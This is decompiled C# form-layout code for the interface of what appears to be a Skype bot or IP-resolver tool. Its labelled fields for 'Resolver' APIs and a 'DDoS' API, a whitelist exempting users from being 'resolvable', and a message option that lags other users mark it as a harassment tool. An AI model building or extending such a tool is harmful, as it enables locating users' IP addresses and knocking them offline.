- Control arg_1CEC_0 = this.Button2;
- size = new Size(66, 32);
- arg_1CEC_0.Size = size;
- this.Button2.TabIndex = 3;
- this.Button2.Text = "Unban";
- this.Button2.TextColor = Color.FromArgb(211, 211, 211);
- this.Button1.BackColor = Color.Transparent;
- this.Button1.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button1.Cursor = Cursors.Hand;
- this.Button1.Font = new Font("Segoe UI", 12f);
- Control arg_1D97_0 = this.Button1;
- location = new Point(17, 73);
- arg_1D97_0.Location = location;
- this.Button1.Name = "Button1";
- this.Button1.Rounded = false;
- Control arg_1DCF_0 = this.Button1;
- size = new Size(68, 32);
- arg_1DCF_0.Size = size;
- this.Button1.TabIndex = 2;
- this.Button1.Text = "Ban";
- this.Button1.TextColor = Color.FromArgb(211, 211, 211);
- Control arg_1E26_0 = this.TextBox1;
- location = new Point(17, 42);
- arg_1E26_0.Location = location;
- this.TextBox1.Name = "TextBox1";
- Control arg_1E54_0 = this.TextBox1;
- size = new Size(249, 25);
- arg_1E54_0.Size = size;
- this.TextBox1.TabIndex = 0;
- this.FlatGroupBox1.BackColor = Color.Transparent;
- this.FlatGroupBox1.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatGroupBox1.Controls.Add(this.TextBox2);
- this.FlatGroupBox1.Controls.Add(this.Button3);
- this.FlatGroupBox1.Font = new Font("Segoe UI", 10f);
- Control arg_1EE9_0 = this.FlatGroupBox1;
- location = new Point(6, 6);
- arg_1EE9_0.Location = location;
- this.FlatGroupBox1.Name = "FlatGroupBox1";
- this.FlatGroupBox1.ShowText = true;
- Control arg_1F27_0 = this.FlatGroupBox1;
- size = new Size(437, 460);
- arg_1F27_0.Size = size;
- this.FlatGroupBox1.TabIndex = 17;
- this.FlatGroupBox1.Text = "Help Message";
- this.TextBox2.BackColor = Color.Transparent;
- this.TextBox2.ImeMode = ImeMode.NoControl;
- Control arg_1F7D_0 = this.TextBox2;
- location = new Point(18, 42);
- arg_1F7D_0.Location = location;
- this.TextBox2.MaxLength = 999999999;
- this.TextBox2.Multiline = true;
- this.TextBox2.Name = "TextBox2";
- this.TextBox2.ReadOnly = false;
- Control arg_1FD9_0 = this.TextBox2;
- size = new Size(402, 359);
- arg_1FD9_0.Size = size;
- this.TextBox2.TabIndex = 3;
- this.TextBox2.TextAlign = HorizontalAlignment.Left;
- this.TextBox2.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox2.UseSystemPasswordChar = false;
- this.Button3.BackColor = Color.Transparent;
- this.Button3.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button3.Cursor = Cursors.Hand;
- this.Button3.Font = new Font("Segoe UI", 12f);
- Control arg_2090_0 = this.Button3;
- location = new Point(18, 407);
- arg_2090_0.Location = location;
- this.Button3.Name = "Button3";
- this.Button3.Rounded = false;
- Control arg_20CB_0 = this.Button3;
- size = new Size(380, 32);
- arg_20CB_0.Size = size;
- this.Button3.TabIndex = 2;
- this.Button3.Text = "SAVE";
- this.Button3.TextColor = Color.FromArgb(211, 211, 211);
- this.Button7.BackColor = Color.Transparent;
- this.Button7.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button7.Cursor = Cursors.Hand;
- this.Button7.Font = new Font("Segoe UI", 12f);
- Control arg_217C_0 = this.Button7;
- location = new Point(147, 465);
- arg_217C_0.Location = location;
- this.Button7.Name = "Button7";
- this.Button7.Rounded = false;
- Control arg_21B4_0 = this.Button7;
- size = new Size(66, 32);
- arg_21B4_0.Size = size;
- this.Button7.TabIndex = 23;
- this.Button7.Text = "Update";
- this.Button7.TextColor = Color.FromArgb(211, 211, 211);
- this.CheckBox1.AutoSize = true;
- Control arg_221F_0 = this.CheckBox1;
- location = new Point(487, 132);
- arg_221F_0.Location = location;
- this.CheckBox1.Name = "CheckBox1";
- Control arg_224A_0 = this.CheckBox1;
- size = new Size(15, 14);
- arg_224A_0.Size = size;
- this.CheckBox1.TabIndex = 34;
- this.CheckBox1.UseVisualStyleBackColor = true;
- this.FlatLabel15.AutoSize = true;
- this.FlatLabel15.BackColor = Color.Transparent;
- this.FlatLabel15.Font = new Font("Segoe UI", 8f);
- this.FlatLabel15.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_22DD_0 = this.FlatLabel15;
- location = new Point(500, 131);
- arg_22DD_0.Location = location;
- this.FlatLabel15.Name = "FlatLabel15";
- Control arg_230B_0 = this.FlatLabel15;
- size = new Size(153, 26);
- arg_230B_0.Size = size;
- this.FlatLabel15.TabIndex = 35;
- this.FlatLabel15.Text = "AddSwagToMSG\r\n(Laggy for everyone but you)";
- this.Log.BackColor = Color.FromArgb(40, 40, 40);
- this.Log.Controls.Add(this.ListBox1);
- TabPage arg_2370_0 = this.Log;
- location = new Point(4, 44);
- arg_2370_0.Location = location;
- this.Log.Name = "Log";
- Control arg_2398_0 = this.Log;
- padding = new Padding(3);
- arg_2398_0.Padding = padding;
- Control arg_23B8_0 = this.Log;
- size = new Size(739, 505);
- arg_23B8_0.Size = size;
- this.Log.TabIndex = 1;
- this.Log.Text = "Log";
- this.ListBox1.FormattingEnabled = true;
- this.ListBox1.ItemHeight = 17;
- Control arg_2408_0 = this.ListBox1;
- location = new Point(0, 0);
- arg_2408_0.Location = location;
- this.ListBox1.Name = "ListBox1";
- Control arg_2439_0 = this.ListBox1;
- size = new Size(736, 463);
- arg_2439_0.Size = size;
- this.ListBox1.TabIndex = 0;
- this.Admins.BackColor = Color.FromArgb(40, 40, 40);
- this.Admins.Controls.Add(this.Panel1);
- TabPage arg_248C_0 = this.Admins;
- location = new Point(4, 44);
- arg_248C_0.Location = location;
- this.Admins.Name = "Admins";
- Control arg_24B4_0 = this.Admins;
- padding = new Padding(3);
- arg_24B4_0.Padding = padding;
- Control arg_24D4_0 = this.Admins;
- size = new Size(739, 505);
- arg_24D4_0.Size = size;
- this.Admins.TabIndex = 2;
- this.Admins.Text = "Ranks";
- this.Panel1.AutoScroll = true;
- this.Panel1.Controls.Add(this.FlatLabel18);
- this.Panel1.Controls.Add(this.FlatLabel12);
- this.Panel1.Controls.Add(this.Button14);
- this.Panel1.Controls.Add(this.TextBox6);
- this.Panel1.Controls.Add(this.FlatLabel17);
- this.Panel1.Controls.Add(this.FlatLabel16);
- this.Panel1.Controls.Add(this.FlatLabel10);
- this.Panel1.Controls.Add(this.Button13);
- this.Panel1.Controls.Add(this.TextBox5);
- this.Panel1.Controls.Add(this.FlatLabel11);
- this.Panel1.Controls.Add(this.Button12);
- this.Panel1.Controls.Add(this.TextBox4);
- Control arg_262A_0 = this.Panel1;
- location = new Point(3, 3);
- arg_262A_0.Location = location;
- this.Panel1.Name = "Panel1";
- Control arg_265B_0 = this.Panel1;
- size = new Size(740, 502);
- arg_265B_0.Size = size;
- this.Panel1.TabIndex = 0;
- this.FlatLabel18.AutoSize = true;
- this.FlatLabel18.BackColor = Color.Transparent;
- this.FlatLabel18.Font = new Font("Segoe UI", 8f);
- this.FlatLabel18.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_26DC_0 = this.FlatLabel18;
- location = new Point(608, 7);
- arg_26DC_0.Location = location;
- this.FlatLabel18.Name = "FlatLabel18";
- Control arg_2707_0 = this.FlatLabel18;
- size = new Size(58, 13);
- arg_2707_0.Size = size;
- this.FlatLabel18.TabIndex = 17;
- this.FlatLabel18.Text = "Ultimates:";
- this.FlatLabel12.AutoSize = true;
- this.FlatLabel12.BackColor = Color.Transparent;
- this.FlatLabel12.Font = new Font("Segoe UI", 8f);
- this.FlatLabel12.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_279A_0 = this.FlatLabel12;
- location = new Point(419, 7);
- arg_279A_0.Location = location;
- this.FlatLabel12.Name = "FlatLabel12";
- Control arg_27C5_0 = this.FlatLabel12;
- size = new Size(58, 13);
- arg_27C5_0.Size = size;
- this.FlatLabel12.TabIndex = 16;
- this.FlatLabel12.Text = "yourname";
- this.Button14.BackColor = Color.Transparent;
- this.Button14.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button14.Cursor = Cursors.Hand;
- this.Button14.Font = new Font("Segoe UI", 12f);
- Control arg_2857_0 = this.Button14;
- location = new Point(364, 423);
- arg_2857_0.Location = location;
- this.Button14.Name = "Button14";
- this.Button14.Rounded = false;
- Control arg_2892_0 = this.Button14;
- size = new Size(355, 32);
- arg_2892_0.Size = size;
- this.Button14.TabIndex = 15;
- this.Button14.Text = "Save";
- this.Button14.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox6.BackColor = Color.Transparent;
- Control arg_28FE_0 = this.TextBox6;
- location = new Point(364, 21);
- arg_28FE_0.Location = location;
- this.TextBox6.MaxLength = 32767;
- this.TextBox6.Multiline = true;
- this.TextBox6.Name = "TextBox6";
- this.TextBox6.ReadOnly = false;
- Control arg_295A_0 = this.TextBox6;
- size = new Size(355, 400);
- arg_295A_0.Size = size;
- this.TextBox6.TabIndex = 14;
- this.TextBox6.TextAlign = HorizontalAlignment.Left;
- this.TextBox6.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox6.UseSystemPasswordChar = false;
- this.FlatLabel17.AutoSize = true;
- this.FlatLabel17.BackColor = Color.Transparent;
- this.FlatLabel17.Font = new Font("Segoe UI", 8f);
- this.FlatLabel17.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_2A16_0 = this.FlatLabel17;
- location = new Point(140, 7);
- arg_2A16_0.Location = location;
- this.FlatLabel17.Name = "FlatLabel17";
- Control arg_2A41_0 = this.FlatLabel17;
- size = new Size(48, 13);
- arg_2A41_0.Size = size;
- this.FlatLabel17.TabIndex = 13;
- this.FlatLabel17.Text = "Admins:";
- this.FlatLabel16.AutoSize = true;
- this.FlatLabel16.BackColor = Color.Transparent;
- this.FlatLabel16.Font = new Font("Segoe UI", 8f);
- this.FlatLabel16.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_2AD8_0 = this.FlatLabel16;
- location = new Point(140, 472);
- arg_2AD8_0.Location = location;
- this.FlatLabel16.Name = "FlatLabel16";
- Control arg_2B03_0 = this.FlatLabel16;
- size = new Size(59, 13);
- arg_2B03_0.Size = size;
- this.FlatLabel16.TabIndex = 12;
- this.FlatLabel16.Text = "Premiums:";
- this.FlatLabel10.AutoSize = true;
- this.FlatLabel10.BackColor = Color.Transparent;
- this.FlatLabel10.Font = new Font("Segoe UI", 8f);
- this.FlatLabel10.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_2B96_0 = this.FlatLabel10;
- location = new Point(0, 472);
- arg_2B96_0.Location = location;
- this.FlatLabel10.Name = "FlatLabel10";
- Control arg_2BC1_0 = this.FlatLabel10;
- size = new Size(58, 13);
- arg_2BC1_0.Size = size;
- this.FlatLabel10.TabIndex = 11;
- this.FlatLabel10.Text = "yourname";
- this.Button13.BackColor = Color.Transparent;
- this.Button13.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button13.Cursor = Cursors.Hand;
- this.Button13.Font = new Font("Segoe UI", 12f);
- Control arg_2C4F_0 = this.Button13;
- location = new Point(3, 884);
- arg_2C4F_0.Location = location;
- this.Button13.Name = "Button13";
- this.Button13.Rounded = false;
- Control arg_2C8A_0 = this.Button13;
- size = new Size(355, 32);
- arg_2C8A_0.Size = size;
- this.Button13.TabIndex = 10;
- this.Button13.Text = "Save";
- this.Button13.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox5.BackColor = Color.Transparent;
- Control arg_2CF5_0 = this.TextBox5;
- location = new Point(3, 483);
- arg_2CF5_0.Location = location;
- this.TextBox5.MaxLength = 32767;
- this.TextBox5.Multiline = true;
- this.TextBox5.Name = "TextBox5";
- this.TextBox5.ReadOnly = false;
- Control arg_2D51_0 = this.TextBox5;
- size = new Size(355, 400);
- arg_2D51_0.Size = size;
- this.TextBox5.TabIndex = 9;
- this.TextBox5.TextAlign = HorizontalAlignment.Left;
- this.TextBox5.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox5.UseSystemPasswordChar = false;
- this.FlatLabel11.AutoSize = true;
- this.FlatLabel11.BackColor = Color.Transparent;
- this.FlatLabel11.Font = new Font("Segoe UI", 8f);
- this.FlatLabel11.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_2E09_0 = this.FlatLabel11;
- location = new Point(3, 7);
- arg_2E09_0.Location = location;
- this.FlatLabel11.Name = "FlatLabel11";
- Control arg_2E34_0 = this.FlatLabel11;
- size = new Size(58, 13);
- arg_2E34_0.Size = size;
- this.FlatLabel11.TabIndex = 8;
- this.FlatLabel11.Text = "yourname";
- this.Button12.BackColor = Color.Transparent;
- this.Button12.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button12.Cursor = Cursors.Hand;
- this.Button12.Font = new Font("Segoe UI", 12f);
- Control arg_2EC1_0 = this.Button12;
- location = new Point(3, 423);
- arg_2EC1_0.Location = location;
- this.Button12.Name = "Button12";
- this.Button12.Rounded = false;
- Control arg_2EFC_0 = this.Button12;
- size = new Size(355, 32);
- arg_2EFC_0.Size = size;
- this.Button12.TabIndex = 7;
- this.Button12.Text = "Save";
- this.Button12.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox4.BackColor = Color.Transparent;
- Control arg_2F63_0 = this.TextBox4;
- location = new Point(3, 21);
- arg_2F63_0.Location = location;
- this.TextBox4.MaxLength = 32767;
- this.TextBox4.Multiline = true;
- this.TextBox4.Name = "TextBox4";
- this.TextBox4.ReadOnly = false;
- Control arg_2FBF_0 = this.TextBox4;
- size = new Size(355, 400);
- arg_2FBF_0.Size = size;
- this.TextBox4.TabIndex = 6;
- this.TextBox4.TextAlign = HorizontalAlignment.Left;
- this.TextBox4.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox4.UseSystemPasswordChar = false;
- this.IPWhitelist.BackColor = Color.FromArgb(40, 40, 40);
- this.IPWhitelist.Controls.Add(this.FlatLabel8);
- this.IPWhitelist.Controls.Add(this.Button15);
- this.IPWhitelist.Controls.Add(this.TextBox7);
- TabPage arg_307A_0 = this.IPWhitelist;
- location = new Point(4, 44);
- arg_307A_0.Location = location;
- this.IPWhitelist.Name = "IPWhitelist";
- Control arg_30A2_0 = this.IPWhitelist;
- padding = new Padding(3);
- arg_30A2_0.Padding = padding;
- Control arg_30C2_0 = this.IPWhitelist;
- size = new Size(739, 505);
- arg_30C2_0.Size = size;
- this.IPWhitelist.TabIndex = 5;
- this.IPWhitelist.Text = "Whitelist";
- this.FlatLabel8.AutoSize = true;
- this.FlatLabel8.BackColor = Color.Transparent;
- this.FlatLabel8.Font = new Font("Segoe UI", 8f);
- this.FlatLabel8.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_3151_0 = this.FlatLabel8;
- location = new Point(6, -2);
- arg_3151_0.Location = location;
- this.FlatLabel8.Name = "FlatLabel8";
- Control arg_317F_0 = this.FlatLabel8;
- size = new Size(187, 13);
- arg_317F_0.Size = size;
- this.FlatLabel8.TabIndex = 5;
- this.FlatLabel8.Text = "Note: This user wont be resolvable!";
- this.Button15.BackColor = Color.Transparent;
- this.Button15.BaseColor = Color.FromArgb(30, 30, 30);
- this.Button15.Cursor = Cursors.Hand;
- this.Button15.Font = new Font("Segoe UI", 12f);
- Control arg_320C_0 = this.Button15;
- location = new Point(0, 467);
- arg_320C_0.Location = location;
- this.Button15.Name = "Button15";
- this.Button15.Rounded = false;
- Control arg_3247_0 = this.Button15;
- size = new Size(731, 32);
- arg_3247_0.Size = size;
- this.Button15.TabIndex = 4;
- this.Button15.Text = "Save";
- this.Button15.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox7.BackColor = Color.Transparent;
- Control arg_32AE_0 = this.TextBox7;
- location = new Point(6, 26);
- arg_32AE_0.Location = location;
- this.TextBox7.MaxLength = 32767;
- this.TextBox7.Multiline = true;
- this.TextBox7.Name = "TextBox7";
- this.TextBox7.ReadOnly = false;
- Control arg_330A_0 = this.TextBox7;
- size = new Size(725, 435);
- arg_330A_0.Size = size;
- this.TextBox7.TabIndex = 3;
- this.TextBox7.TextAlign = HorizontalAlignment.Left;
- this.TextBox7.TextColor = Color.FromArgb(211, 211, 211);
- this.TextBox7.UseSystemPasswordChar = false;
- this.TabPage1.BackColor = Color.FromArgb(40, 40, 40);
- this.TabPage1.Controls.Add(this.FlatButton2);
- this.TabPage1.Controls.Add(this.FlatTextBox2);
- this.TabPage1.Controls.Add(this.FlatLabel5);
- this.TabPage1.Controls.Add(this.FlatTextBox1);
- this.TabPage1.Controls.Add(this.FlatLabel4);
- TabPage arg_33F3_0 = this.TabPage1;
- location = new Point(4, 44);
- arg_33F3_0.Location = location;
- this.TabPage1.Name = "TabPage1";
- Control arg_341B_0 = this.TabPage1;
- padding = new Padding(3);
- arg_341B_0.Padding = padding;
- Control arg_343B_0 = this.TabPage1;
- size = new Size(739, 505);
- arg_343B_0.Size = size;
- this.TabPage1.TabIndex = 6;
- this.TabPage1.Text = "Ideas/Contact";
- this.FlatButton2.BackColor = Color.Transparent;
- this.FlatButton2.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatButton2.Cursor = Cursors.Hand;
- this.FlatButton2.Font = new Font("Segoe UI", 12f);
- Control arg_34C9_0 = this.FlatButton2;
- location = new Point(9, 470);
- arg_34C9_0.Location = location;
- this.FlatButton2.Name = "FlatButton2";
- this.FlatButton2.Rounded = false;
- Control arg_3504_0 = this.FlatButton2;
- size = new Size(727, 32);
- arg_3504_0.Size = size;
- this.FlatButton2.TabIndex = 4;
- this.FlatButton2.Text = "Send!";
- this.FlatButton2.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatTextBox2.BackColor = Color.Transparent;
- Control arg_356C_0 = this.FlatTextBox2;
- location = new Point(81, 47);
- arg_356C_0.Location = location;
- this.FlatTextBox2.MaxLength = 32767;
- this.FlatTextBox2.Multiline = true;
- this.FlatTextBox2.Name = "FlatTextBox2";
- this.FlatTextBox2.ReadOnly = false;
- Control arg_35C8_0 = this.FlatTextBox2;
- size = new Size(619, 417);
- arg_35C8_0.Size = size;
- this.FlatTextBox2.TabIndex = 3;
- this.FlatTextBox2.Text = "Please inform your name, what you want, what bugs you found, what errors you occured etc. thanks!";
- this.FlatTextBox2.TextAlign = HorizontalAlignment.Left;
- this.FlatTextBox2.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatTextBox2.UseSystemPasswordChar = false;
- this.FlatLabel5.AutoSize = true;
- this.FlatLabel5.BackColor = Color.Transparent;
- this.FlatLabel5.Font = new Font("Segoe UI", 8f);
- this.FlatLabel5.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_3691_0 = this.FlatLabel5;
- location = new Point(6, 47);
- arg_3691_0.Location = location;
- this.FlatLabel5.Name = "FlatLabel5";
- Control arg_36BC_0 = this.FlatLabel5;
- size = new Size(55, 13);
- arg_36BC_0.Size = size;
- this.FlatLabel5.TabIndex = 2;
- this.FlatLabel5.Text = "Message:";
- this.FlatTextBox1.BackColor = Color.Transparent;
- Control arg_3703_0 = this.FlatTextBox1;
- location = new Point(81, 6);
- arg_3703_0.Location = location;
- this.FlatTextBox1.MaxLength = 32767;
- this.FlatTextBox1.Multiline = false;
- this.FlatTextBox1.Name = "FlatTextBox1";
- this.FlatTextBox1.ReadOnly = true;
- Control arg_375C_0 = this.FlatTextBox1;
- size = new Size(619, 29);
- arg_375C_0.Size = size;
- this.FlatTextBox1.TabIndex = 1;
- this.FlatTextBox1.TextAlign = HorizontalAlignment.Left;
- this.FlatTextBox1.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatTextBox1.UseSystemPasswordChar = false;
- this.FlatLabel4.AutoSize = true;
- this.FlatLabel4.BackColor = Color.Transparent;
- this.FlatLabel4.Font = new Font("Segoe UI", 8f);
- this.FlatLabel4.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_3814_0 = this.FlatLabel4;
- location = new Point(6, 16);
- arg_3814_0.Location = location;
- this.FlatLabel4.Name = "FlatLabel4";
- Control arg_383F_0 = this.FlatLabel4;
- size = new Size(69, 13);
- arg_383F_0.Size = size;
- this.FlatLabel4.TabIndex = 0;
- this.FlatLabel4.Text = "SkypeName:";
- this.TabPage2.BackColor = Color.FromArgb(40, 40, 40);
- this.TabPage2.Controls.Add(this.FlatLabel23);
- this.TabPage2.Controls.Add(this.FlatButton8);
- this.TabPage2.Controls.Add(this.FlatButton7);
- this.TabPage2.Controls.Add(this.FlatButton6);
- this.TabPage2.Controls.Add(this.FlatButton5);
- this.TabPage2.Controls.Add(this.FlatLabel22);
- this.TabPage2.Controls.Add(this.FlatTextBox6);
- this.TabPage2.Controls.Add(this.FlatLabel21);
- this.TabPage2.Controls.Add(this.FlatTextBox5);
- this.TabPage2.Controls.Add(this.FlatLabel20);
- this.TabPage2.Controls.Add(this.FlatTextBox4);
- this.TabPage2.Controls.Add(this.FlatLabel19);
- this.TabPage2.Controls.Add(this.FlatLabel13);
- this.TabPage2.Controls.Add(this.FlatTextBox3);
- TabPage arg_39CE_0 = this.TabPage2;
- location = new Point(4, 44);
- arg_39CE_0.Location = location;
- this.TabPage2.Name = "TabPage2";
- Control arg_39F6_0 = this.TabPage2;
- padding = new Padding(3);
- arg_39F6_0.Padding = padding;
- Control arg_3A16_0 = this.TabPage2;
- size = new Size(739, 505);
- arg_3A16_0.Size = size;
- this.TabPage2.TabIndex = 7;
- this.TabPage2.Text = "/";
- this.FlatLabel23.AutoSize = true;
- this.FlatLabel23.BackColor = Color.Transparent;
- this.FlatLabel23.Font = new Font("Segoe UI", 8f);
- this.FlatLabel23.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_3AA8_0 = this.FlatLabel23;
- location = new Point(229, 3);
- arg_3AA8_0.Location = location;
- this.FlatLabel23.Name = "FlatLabel23";
- Control arg_3AD6_0 = this.FlatLabel23;
- size = new Size(237, 13);
- arg_3AD6_0.Size = size;
- this.FlatLabel23.TabIndex = 21;
- this.FlatLabel23.Text = "Click the \"?\" before changing the API please..";
- this.FlatButton8.BackColor = Color.Transparent;
- this.FlatButton8.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatButton8.Cursor = Cursors.Hand;
- this.FlatButton8.Font = new Font("Segoe UI", 12f);
- Control arg_3B68_0 = this.FlatButton8;
- location = new Point(242, 157);
- arg_3B68_0.Location = location;
- this.FlatButton8.Name = "FlatButton8";
- this.FlatButton8.Rounded = false;
- Control arg_3BA0_0 = this.FlatButton8;
- size = new Size(21, 19);
- arg_3BA0_0.Size = size;
- this.FlatButton8.TabIndex = 20;
- this.FlatButton8.Text = "?";
- this.FlatButton8.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatButton7.BackColor = Color.Transparent;
- this.FlatButton7.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatButton7.Cursor = Cursors.Hand;
- this.FlatButton7.Font = new Font("Segoe UI", 12f);
- Control arg_3C4F_0 = this.FlatButton7;
- location = new Point(242, 122);
- arg_3C4F_0.Location = location;
- this.FlatButton7.Name = "FlatButton7";
- this.FlatButton7.Rounded = false;
- Control arg_3C87_0 = this.FlatButton7;
- size = new Size(21, 19);
- arg_3C87_0.Size = size;
- this.FlatButton7.TabIndex = 19;
- this.FlatButton7.Text = "?";
- this.FlatButton7.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatButton6.BackColor = Color.Transparent;
- this.FlatButton6.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatButton6.Cursor = Cursors.Hand;
- this.FlatButton6.Font = new Font("Segoe UI", 12f);
- Control arg_3D36_0 = this.FlatButton6;
- location = new Point(242, 87);
- arg_3D36_0.Location = location;
- this.FlatButton6.Name = "FlatButton6";
- this.FlatButton6.Rounded = false;
- Control arg_3D6E_0 = this.FlatButton6;
- size = new Size(21, 19);
- arg_3D6E_0.Size = size;
- this.FlatButton6.TabIndex = 18;
- this.FlatButton6.Text = "?";
- this.FlatButton6.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatButton5.BackColor = Color.Transparent;
- this.FlatButton5.BaseColor = Color.FromArgb(30, 30, 30);
- this.FlatButton5.Cursor = Cursors.Hand;
- this.FlatButton5.Font = new Font("Segoe UI", 12f);
- Control arg_3E1D_0 = this.FlatButton5;
- location = new Point(242, 52);
- arg_3E1D_0.Location = location;
- this.FlatButton5.Name = "FlatButton5";
- this.FlatButton5.Rounded = false;
- Control arg_3E55_0 = this.FlatButton5;
- size = new Size(21, 19);
- arg_3E55_0.Size = size;
- this.FlatButton5.TabIndex = 17;
- this.FlatButton5.Text = "?";
- this.FlatButton5.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatLabel22.AutoSize = true;
- this.FlatLabel22.BackColor = Color.Transparent;
- this.FlatLabel22.Font = new Font("Segoe UI", 8f);
- this.FlatLabel22.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_3F08_0 = this.FlatLabel22;
- location = new Point(7, 163);
- arg_3F08_0.Location = location;
- this.FlatLabel22.Name = "FlatLabel22";
- Control arg_3F33_0 = this.FlatLabel22;
- size = new Size(39, 13);
- arg_3F33_0.Size = size;
- this.FlatLabel22.TabIndex = 8;
- this.FlatLabel22.Text = "DDoS:";
- this.FlatTextBox6.BackColor = Color.Transparent;
- Control arg_3F7E_0 = this.FlatTextBox6;
- location = new Point(75, 150);
- arg_3F7E_0.Location = location;
- this.FlatTextBox6.MaxLength = 32767;
- this.FlatTextBox6.Multiline = false;
- this.FlatTextBox6.Name = "FlatTextBox6";
- this.FlatTextBox6.ReadOnly = false;
- Control arg_3FD7_0 = this.FlatTextBox6;
- size = new Size(161, 29);
- arg_3FD7_0.Size = size;
- this.FlatTextBox6.TabIndex = 7;
- this.FlatTextBox6.TextAlign = HorizontalAlignment.Left;
- this.FlatTextBox6.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatTextBox6.UseSystemPasswordChar = false;
- this.FlatLabel21.AutoSize = true;
- this.FlatLabel21.BackColor = Color.Transparent;
- this.FlatLabel21.Font = new Font("Segoe UI", 8f);
- this.FlatLabel21.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_4092_0 = this.FlatLabel21;
- location = new Point(7, 128);
- arg_4092_0.Location = location;
- this.FlatLabel21.Name = "FlatLabel21";
- Control arg_40BD_0 = this.FlatLabel21;
- size = new Size(67, 13);
- arg_40BD_0.Size = size;
- this.FlatLabel21.TabIndex = 6;
- this.FlatLabel21.Text = "Cached API:";
- this.FlatTextBox5.BackColor = Color.Transparent;
- Control arg_4105_0 = this.FlatTextBox5;
- location = new Point(75, 115);
- arg_4105_0.Location = location;
- this.FlatTextBox5.MaxLength = 32767;
- this.FlatTextBox5.Multiline = false;
- this.FlatTextBox5.Name = "FlatTextBox5";
- this.FlatTextBox5.ReadOnly = false;
- Control arg_415E_0 = this.FlatTextBox5;
- size = new Size(161, 29);
- arg_415E_0.Size = size;
- this.FlatTextBox5.TabIndex = 5;
- this.FlatTextBox5.TextAlign = HorizontalAlignment.Left;
- this.FlatTextBox5.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatTextBox5.UseSystemPasswordChar = false;
- this.FlatLabel20.AutoSize = true;
- this.FlatLabel20.BackColor = Color.Transparent;
- this.FlatLabel20.Font = new Font("Segoe UI", 8f);
- this.FlatLabel20.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_4216_0 = this.FlatLabel20;
- location = new Point(7, 93);
- arg_4216_0.Location = location;
- this.FlatLabel20.Name = "FlatLabel20";
- Control arg_4241_0 = this.FlatLabel20;
- size = new Size(62, 13);
- arg_4241_0.Size = size;
- this.FlatLabel20.TabIndex = 4;
- this.FlatLabel20.Text = "Resolver 2:";
- this.FlatTextBox4.BackColor = Color.Transparent;
- Control arg_4289_0 = this.FlatTextBox4;
- location = new Point(75, 80);
- arg_4289_0.Location = location;
- this.FlatTextBox4.MaxLength = 32767;
- this.FlatTextBox4.Multiline = false;
- this.FlatTextBox4.Name = "FlatTextBox4";
- this.FlatTextBox4.ReadOnly = false;
- Control arg_42E2_0 = this.FlatTextBox4;
- size = new Size(161, 29);
- arg_42E2_0.Size = size;
- this.FlatTextBox4.TabIndex = 3;
- this.FlatTextBox4.TextAlign = HorizontalAlignment.Left;
- this.FlatTextBox4.TextColor = Color.FromArgb(211, 211, 211);
- this.FlatTextBox4.UseSystemPasswordChar = false;
- this.FlatLabel19.AutoSize = true;
- this.FlatLabel19.BackColor = Color.Transparent;
- this.FlatLabel19.Font = new Font("Segoe UI", 8f);
- this.FlatLabel19.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_439A_0 = this.FlatLabel19;
- location = new Point(7, 58);
- arg_439A_0.Location = location;
- this.FlatLabel19.Name = "FlatLabel19";
- Control arg_43C5_0 = this.FlatLabel19;
- size = new Size(62, 13);
- arg_43C5_0.Size = size;
- this.FlatLabel19.TabIndex = 2;
- this.FlatLabel19.Text = "Resolver 1:";
- this.FlatLabel13.AutoSize = true;
- this.FlatLabel13.BackColor = Color.Transparent;
- this.FlatLabel13.Font = new Font("Segoe UI", 8f);
- this.FlatLabel13.ForeColor = Color.FromArgb(211, 211, 211);
- Control arg_4453_0 = this.FlatLabel13;
- location = new Point(6, 3);
- arg_4453_0.Location = location;
- this.FlatLabel13.Name = "FlatLabel13";
- Control arg_4481_0 = this.FlatLabel13;
- size = new Size(200, 13);
- arg_4481_0.Size = size;
- this.FlatLabel13.TabIndex = 1;
- this.FlatLabel13.Text = "Typ \"0\" to use the default inbuild APIs";
- this.FlatTextBox3.BackColor = Color.Transparent;
- Control arg_44C9_0 = this.FlatTextBox3;
- location = new Point(75, 45);
- arg_44C9_0.Location = location;
- this.FlatTextBox3.MaxLength = 32767;
- this.FlatTextBox3.Multiline = false;
- this.FlatTextBox3.Name = "FlatTextBox3";
- this.FlatTextBox3.ReadOnly = false;
- Control arg_4522_0 = this.FlatTextBox3;
- size = new Size(161, 29);
